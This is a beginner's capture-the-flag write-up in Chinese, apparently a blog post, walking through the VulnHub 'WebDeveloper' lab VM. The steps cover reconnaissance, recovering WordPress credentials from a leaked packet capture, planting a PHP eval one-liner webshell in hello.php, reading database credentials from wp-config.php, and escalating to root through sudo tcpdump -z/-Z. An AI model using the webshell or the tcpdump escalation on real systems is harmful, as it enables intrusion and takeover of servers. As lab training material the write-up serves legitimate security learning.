WebDeveloper内网渗透流程(新手流程梳理)
本篇博客面向入门主机渗透方面的新人,根据这个较为简单的入门级靶机梳理渗透思路和流程。
vulnhub 新手级离线靶场
VMware 15.5
kali镜像:kali-linux-2022.4-installer-amd64
kali ip:192.168.100.83
靶场下载地址: https://download.vulnhub.com/webdeveloper/WebDeveloper.ova
流程目录
下载好靶机之后直接使用VMware软件打开ova,启动即可,将虚拟网络设置为NAT模式或者桥接直连物理网即可
打开后效果如下
本文章用比较入门的操作来梳理流程
一 信息收集
1.1 nmap
首先扫描靶机所在的网段,使用nmap工具扫描,确认靶机ip。
对发现的靶机ip进行端口扫描,收集开放的端口与服务类型。
发现这个100.211的IP开放了 ssh和http服务。
切换浏览器中尝试访问一下
确定靶机中的web应用,并对web部分开始信息收集
本靶机web收集思路:web目录收集、web服务信息(CMS、应用框架信息、中间件版本、协议版本等)、交互页面API等
1.2 dirsearch
dirsearch扫描windows版
python dirsearch.py -u http://192.168.100.211/
发现有疑似似登录的页面/wp-login.php
更改url内访问页面,发现管理登录页面
1.3 whatweb
为了得到更多信息使用kali中whatweb工具进行扫描查看网站详细信息
whatweb http://192.168.100.211 -v
whatweb扫描发现该网站是WordPress生成的
1.4 dirb
使用kali的dirb工具扫描,dirb工具可以更全面的扫描出该类型的网站页面和路径
dirb http://192.168.100.211
扫描发现一个叫ipdata的文件,该文件一般用于存放流量文件,可能会有登录信息相关内容
如本图的倒数第三行
1.5 流量分析——WireShark
更改URL访问该路径发现有一个analyze.cap的流量包文件
下载到本地使用wireshark打开,发现存在应用交互历史记录
为了知道登录包的如何传送的,先回到登陆页面随便的登陆一下
此时发现登录时的包是POST请求
那么就在wireshark中设置过滤规则
http.request.method==POST
既然是POST请求就在这俩包里面翻找一下有没有登陆的信息
发现疑似登录的账号字段“log”和密码字段“pwd”
使用该字段的值登录一下试试
登陆成功!
二 木马注入
在此处发现一处疑似可以注入一句话木马的功能
覆盖掉原本内容,尝试进行写入后门。
2.1 一句话木马
<?php @eval($_POST['a']);?>
上传注入成功
2.2 蚁剑连接
下面准备使用蚁剑连接
但是先确认一下注入文件的位置
由页面左边可知我们更改的是hello.php
之前dirsearch爆出来的文件里刚好有hello.php的web路径
确认路径后使用蚁剑连接
连接成功,通过蚂剑读取主机所存储的文件目录及文件内容。
在WEB应用所在目录下发现应用配置文件,配置文件一般存在脆弱点或其他敏感内容,管理员不恰当的配置可能会导致安全隐患。
wp-config.php文件应该就是这个web项目的部分配置文件
打开发现数据库账户和密码
2.3 主机连接(ssh)
/** MySQL database username */
define('DB_USER', 'webdeveloper');
/** MySQL database password */
define('DB_PASSWORD', 'MasterOfTheUniverse');
使用ssh登录这个账户进入靶机。
登陆成功
三 用户越权
登陆后先查看一下当前用户权限
sudo -l
发现可以使用tcpdump进行提权
3.1tmp文件夹特性利用
利用tmp的文件特性:
“通常,/tmp 目录的权限会被设置为 1777,这是一个八进制数。这意味着它具有读、写和执行权限,因此属主、属组和其他用户都可以访问它”
现在已知tmp是灰色权限文件夹
进入tmp文件夹下准备提权
3.2 越权执行
命令思路就是
- 先创建一个执行文件
- 将要执行的越权命令写入被创建文件
- 把被创建文件权限拉满
- 通过sudo-tcpdump越权执行文件中的命令
- tcpdump中有两个关键参数-z和-Z
- -z 用来执行一个脚本,-Z用来指定tcpdump以哪个用户运行
- 当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的
touch DN //在tmp文件夹里创建一个DN(随便按的)
echo "ls /root/" > DN //把要执行的命令写入DN里面
chmod 777 /tmp/DN //给DN文件 777 权限
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/DN -Z root
//最后通过sudo-tcpdump执行越权文件
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量
通过sudo tcpdump执行越权文件内容“ ls /root/ ”查看了root目录下存在flag.txt
四 拿下flag
然后更改DN文件越权文件内容
echo "cat /root/flag.txt" > DN
再次执行sudo-tcpdump越权命令得到flag内容
完
本文操作仅适用于入门练手,部分步骤可能有些简化,仅供参考和思路梳理